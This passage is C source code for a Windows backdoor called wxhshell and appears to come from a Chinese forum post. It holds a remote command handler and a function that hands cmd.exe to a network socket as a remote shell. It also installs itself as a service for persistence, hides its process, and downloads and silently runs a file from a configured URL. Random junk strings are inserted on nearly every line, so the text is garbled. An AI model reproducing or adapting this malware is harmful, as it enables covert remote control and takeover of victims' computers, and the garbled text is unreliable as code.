?oc#$fcQ~  
    switch(cmd[0]) { t*&O*T+fgy  
  >**7ck  
  // 帮助 h xCt[G@  
  case '?': { H#LlxD)q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $ 4& )  
    break; N>'T"^S/  
  } d1`us G"  
  // 安装 cTR@ :sm  
  case 'i': { TZ]D6.mD  
    if(Install()) Vf'r6Rf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;DkX"X+  
    else v/Z!Wp1LV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .\?)O+J!  
    break; UUlrfur~  
    } j0L A  
  // 卸载 z}" Xt=G?  
  case 'r': { &mM[q 'V  
    if(Uninstall()) 2[Ja|W\If  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h zh%ML3L  
    else ^_cR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c%|18dV  
    break; jNIZ!/K  
    } tyH*epa nw  
  // 显示 wxhshell 所在路径 {=Y.Z1E:  
  case 'p': { Ny.s u?E  
    char svExeFile[MAX_PATH]; F`3J=AJOJ  
    strcpy(svExeFile,"\n\r"); YXR%{GUP[  
      strcat(svExeFile,ExeFile); j^g^=uau  
        send(wsh,svExeFile,strlen(svExeFile),0); Z5vpo$l  
    break; YB}p`b42L  
    } d +]Gw  
  // 重启 8mCL3F  
  case 'b': { ~ [por  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); er0hf2N]  
    if(Boot(REBOOT)) >|Hd*pg))  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gj.u /l  
    else { M=57 d7  
    closesocket(wsh); "0lC:Wu]  
    ExitThread(0); }538vFNi  
    } 4mG?$kCN  
    break; kc3dWWPe  
    } H^N@fG<*dh  
  // 关机 Z.Sq5\d  
  case 'd': { kO]],Vy`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @ y (9LSs  
    if(Boot(SHUTDOWN)) 6<h?%j(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v\Y362Xv  
    else { }#[MV+D  
    closesocket(wsh); 7yU<!p?(  
    ExitThread(0); ?0Qm  
    } )1>fQ9   
    break; Kh!h_  
    } tr]=q9  
  // 获取shell YlZe  
  case 's': { }NQ {S3JW  
    CmdShell(wsh); LM*#DLadk  
    closesocket(wsh); _VeZ lk7 k  
    ExitThread(0); Kw%n;GFl'  
    break; 8TK&i,  
  } u |h T1l  
  // 退出 ^_5Nh^  
  case 'x': { .,C8ASfh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^cE|o&Rm;  
    CloseIt(wsh); y] Io`w(>  
    break; 24TQl<H{  
    }  $)5F3 a|  
  // 离开 =%4vrY `  
  case 'q': { K% ) K$/A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _?M71>3$.  
    closesocket(wsh); 'NM$<<0  
    WSACleanup(); +v 9@du  
    exit(1); 'g8~uP  
    break; I e#LZti  
        } W2F %E  
  } 26Y Y1T\B)  
  } `&.]>H)N*  
AeqxH1%  
  // 提示信息 Z/-!-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2d,q?VH$  
} je^!W?U4<  
  } k{/2vV[`]  
{xm^DT  
  return; hhTM-D1Ehs  
} Mh04O@"  
&></l| hY  
// shell模块句柄 !$&3h-l[  
int CmdShell(SOCKET sock) n\Z& sc  
{ ]%yph3C  
STARTUPINFO si; FbMX?T"yH  
ZeroMemory(&si,sizeof(si)); ,[To)x5o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a *n^(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N7=L^]  
PROCESS_INFORMATION ProcessInfo; By|y:  
char cmdline[]="cmd"; {2`:7U ~|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1M|DaAI  
  return 0; 4s?x 8oAy  
} :%M[|Fj  
yq{k:)  
// 自身启动模式 QGtKu:c.81  
int StartFromService(void) 2TN+ (B#Z!  
{ %Lec\(-4L  
typedef struct $a|DR  
{ \;w+_<zE5{  
  DWORD ExitStatus; #!wL0 p  
  DWORD PebBaseAddress; ~ {sRK  
  DWORD AffinityMask; %m:T?![XO  
  DWORD BasePriority; \de82 4  
  ULONG UniqueProcessId; JzA`*X[  
  ULONG InheritedFromUniqueProcessId; xm@vx}O:  
}   PROCESS_BASIC_INFORMATION; /n= %#{  
iyw "|+  
PROCNTQSIP NtQueryInformationProcess; 4%Q8>mEvT  
Sb=cWn P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f n9[Li  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q' };.tv  
|Uz?i7z  
  HANDLE             hProcess; \Uun2.K  
  PROCESS_BASIC_INFORMATION pbi; \`N%77A  
Gld|w=qr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rs$sAa*f  
  if(NULL == hInst ) return 0; zi~_[l-  
"Jw6.q+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;eznONNF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qGtXReK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =;.#Bds  
eW$G1h:  
  if (!NtQueryInformationProcess) return 0; X4emhB  
=4z:Df  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ukKzY  
  if(!hProcess) return 0; D*d@<&Bl4<  
}-H<wQ&x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -Dw qoWZ  
e[fzy0  
  CloseHandle(hProcess); sidSY8j  
ar.w'z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7dl]f#uZU  
if(hProcess==NULL) return 0; JV|GE n\@N  
^E&':6(  
HMODULE hMod; FHVZ/ e  
char procName[255]; @,i_ KN6C  
unsigned long cbNeeded; o/E A%q1  
M IPmsEdBi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fy N@mX  
*bu/Ko]  
  CloseHandle(hProcess); *S.R#4w  
f $MVgX  
if(strstr(procName,"services")) return 1; // 以服务启动 <>,V> k|  
,?;q$Xoi  
  return 0; // 注册表启动 `X8AM=  
} ^\kv> WBE  
{l= !  
// 主模块 a%>p"4WL  
int StartWxhshell(LPSTR lpCmdLine) Uv,_VS(  
{ T$/6qZew  
  SOCKET wsl; LGq}wxq  
BOOL val=TRUE; JFVal#  
  int port=0; olzP=08aaV  
  struct sockaddr_in door; CW>f;  
cF_hU"  
  if(wscfg.ws_autoins) Install(); b'`8$;MII  
GuMsw*{>  
port=atoi(lpCmdLine); k WYjqv  
~JY<DW7  
if(port<=0) port=wscfg.ws_port; 0IoS|P}6a  
IH?.s k  
  WSADATA data; F,^Q'$ !  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HaI  
ou6|;*>d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IbAGnl{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $-9m8}U(Y  
  door.sin_family = AF_INET; R?g qPi-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qy6zHw  
  door.sin_port = htons(port); IGs!SXclCs  
S2/c2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hRZ9[F[[  
closesocket(wsl); |Euf:yWY  
return 1; g]O"l?xx1D  
} ;bq_Y/"  
)6dvWK  
  if(listen(wsl,2) == INVALID_SOCKET) { 6&7#?/Lq  
closesocket(wsl); -G2'c)DR  
return 1; f,z_|e  
} }./__gJ  
  Wxhshell(wsl); 9/ R|\  
  WSACleanup(); Qy |*[  
j E_a ++  
return 0; @%@uZqQ4  
;cIs$  
} ;Ad$Q9)EE  
bJ~]nj 3  
// 以NT服务方式启动 /m%Y.:g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1cWUPVQ  
{ jLc4D'  
DWORD   status = 0; XPE{]4 g  
  DWORD   specificError = 0xfffffff; */ZrZ^?o  
5'gV_U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4' bup h1(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y)?Sn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D OiL3i"H  
  serviceStatus.dwWin32ExitCode     = 0; DWZ!B7Ts  
  serviceStatus.dwServiceSpecificExitCode = 0; q?'*T?|  
  serviceStatus.dwCheckPoint       = 0; !Y/$I?13Z  
  serviceStatus.dwWaitHint       = 0; !q!.OQ  
1t/#ZT!X/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); & D4'hL3  
  if (hServiceStatusHandle==0) return; %{s<h6{R  
=xFw4 D9  
status = GetLastError(); 62Yi1<kV@  
  if (status!=NO_ERROR) pA9^-:\*  
{ io^^f|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ul7)CT2:  
    serviceStatus.dwCheckPoint       = 0; 7a 4G:  
    serviceStatus.dwWaitHint       = 0; Kf D8S  
    serviceStatus.dwWin32ExitCode     = status; z 7OTL<h  
    serviceStatus.dwServiceSpecificExitCode = specificError; d(zBd=;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W #E-vi+l  
    return; TG'_1m*$  
  } `~QS3zq  
GGsDR%U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZFh2v]|!  
  serviceStatus.dwCheckPoint       = 0; WPiQ+(pt  
  serviceStatus.dwWaitHint       = 0; 4M'y9(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 82Dw,Cn  
} %JmSCjt`G  
z/aZD\[_  
// 处理NT服务事件,比如:启动、停止 !_)*L+7f_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hSE\RX 9  
{ hl?G_%a  
switch(fdwControl) U7(84k\j  
{ C]K|;VQ  
case SERVICE_CONTROL_STOP: lO>w|=<  
  serviceStatus.dwWin32ExitCode = 0; -kT *gIJ}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E9t[Mb %0  
  serviceStatus.dwCheckPoint   = 0; }N!I|<"/  
  serviceStatus.dwWaitHint     = 0; j u`x   
  { x;2tmof=L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i/`N~r   
  } ntE;*F yH  
  return; TyVn5XHl^  
case SERVICE_CONTROL_PAUSE: $+qJ#0OE$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gH5E+J_$  
  break; > !k  
case SERVICE_CONTROL_CONTINUE: XqMJe'%r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &=y)C/u  
  break; deO/`  
case SERVICE_CONTROL_INTERROGATE: l -us j%\  
  break; -bT1Qh X  
}; 7<DlA>(oUX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7(AB5.O  
} >AI65g  
8?AFvua}r  
// 标准应用程序主函数 |u{NM1,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $TS4YaJ%  
{ 1*<m,.$  
X-O/&WRYQ  
// 获取操作系统版本 Q[J%  
OsIsNt=GetOsVer(); F[mL_JU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S,,,D+4  
[=imF^=3Vb  
  // 从命令行安装 c.y8x  
  if(strpbrk(lpCmdLine,"iI")) Install(); v:kTZB  
"b5:6\  
  // 下载执行文件 A46z2  
if(wscfg.ws_downexe) { [`^5Zb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '=}F}[d"kk  
  WinExec(wscfg.ws_filenam,SW_HIDE); X8aNl"x  
} v1wMXOR  
!2>MaV1,  
if(!OsIsNt) { ^3?]S{1/#  
// 如果时win9x,隐藏进程并且设置为注册表启动 /ghXI"ChI  
HideProc(); +HvEiY  
StartWxhshell(lpCmdLine); ^6tGj+D9  
} :=!?W^J  
else Kt5;GUV  
  if(StartFromService()) QyN<o{\FD!  
  // 以服务方式启动 <Uf?7  
  StartServiceCtrlDispatcher(DispatchTable); ^"N]i`dIF  
else kX!TOlk3  
  // 普通方式启动 FY  U)sQ  
  StartWxhshell(lpCmdLine); R@_i$Df|  
c+P.o.k;  
return 0; K1]m:Y<  
}
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只看该作者 1 发表于: 2006-10-10
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